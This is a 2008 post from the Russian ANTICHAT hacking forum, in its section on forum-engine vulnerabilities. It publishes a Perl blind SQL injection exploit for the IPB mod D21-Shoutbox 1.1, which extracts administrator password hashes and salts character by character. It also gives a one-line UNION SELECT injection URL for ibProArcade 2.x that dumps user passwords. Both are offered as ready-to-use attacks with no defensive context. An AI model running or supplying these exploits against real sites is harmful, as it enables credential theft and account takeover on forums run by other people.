ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости Модов IPB
  #10  
Старый 26.10.2008, 17:18
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию Уязвимости Модов IPB

Автор _GaLs_

Уязвимости Модов IPB

D21-Shoutbox 1.1

PHP код:
 #!/usr/bin/perl 

######################################## 
# Coded by k1b0rg (768620) # 
# shout.pl <site> <id> # 
# shout.pl http://site.ru/forum/ 1 # 
# shout.pl http://site.ru/forum/ 1,2 # 
######################################## 

use LWP::UserAgent; 
my $browser = LWP::UserAgent->new(); 
$site=$ARGV[0]; 
my $admins_id=$ARGV[1]; 
@
admin=split(',',$admins_id); 
my $res=$browser->get($site.'index.php?act=Shoutbox'); 
if(
$res->content=~/act=Shoutbox&shout=(d+)/is) 
{ 
my $idshout=$1; 
syswrite STDOUT, "\n".'Shout box found!'; 
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'\''); 
if(
$res->content =~ /(SQL error|mySQL query error)/is) 
{ 
syswrite STDOUT, "\n".'Mode(sql) shoutbox: [OK]'; 
if(
$res->content =~ /FROM (.*?)shoutbox/i) 
{ 
$prefix_bd=$1; 
syswrite STDOUT, "\n".'prefix_bd_shoutbox: ['.$prefix_bd.']'; 
&
shout_sql($idshout); 
} 
} 
else { 
syswrite STDOUT, "\n".'NOT Vulnerebility';} 
} 
else { 
syswrite STDOUT, "\n".'Shout box mode NOT FOUND!';} 
sub shout_sql($) 
{ 
my $idshout=$_[0]; 
foreach 
my $id(@admin) 
{ 
syswrite STDOUT, "\n".'Admin id ('.$id.') : ['; 
for(
$i=1;$i<=32;$i++) 
{ 
&
position_shout(97,102,$i,$id,$idshout,'pass') if (!&position_shout(48,57,$i,$id,$idshout,'pass')) 
} 
syswrite STDOUT, ':'; 
for(
$i=1;$i<=5;$i++) 
{ 
&
position_shout(33,126,$i,$id,$idshout,'salt'); 
} 
syswrite STDOUT, ']'; 
} 
} 
sub position_shout($$$$$$) 
{ 
my ($j,$max,$i,$mid,$idshout,$label)=@_; 
while(
$j<=$max) 
{ 
if(&
scan_shout($site,$j,$mid,$i,$idshout,$label)) { syswrite STDOUT, chr($j); return 1;} 
$j++; 
} 
} 
sub scan_shout($$$$$) 
{ 
my ($site,$num,$mid,$pos,$idshout,$label)=@_; 
my $field=($label eq 'pass')?('converge_pass_hash')'converge_pass_sal t'); 
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'+and(ascii(substring((select+'.$   field.'+from+'.$prefix_bd.'members_converge+where+   converge_id='.$mid.'),'.$pos.',1))='.$num.')/*'); 
return 
1 if($res->content=~/varssidss=s[(d+)];/is); 
} 
ibProArcade 2.x

SQL Injection Exploit
Цитата:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
PS Материал востановлен
Дата публикации: 26.05.2007, 12:20
Автор _GaLs_

Последний раз редактировалось jokester; 27.10.2008 в 09:03..
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Уязвимости CMS / форумов 167 17.10.2019 18:14
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
[Обзор уязвимостей XMBForum] [x26]VOLAND Уязвимости CMS / форумов 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.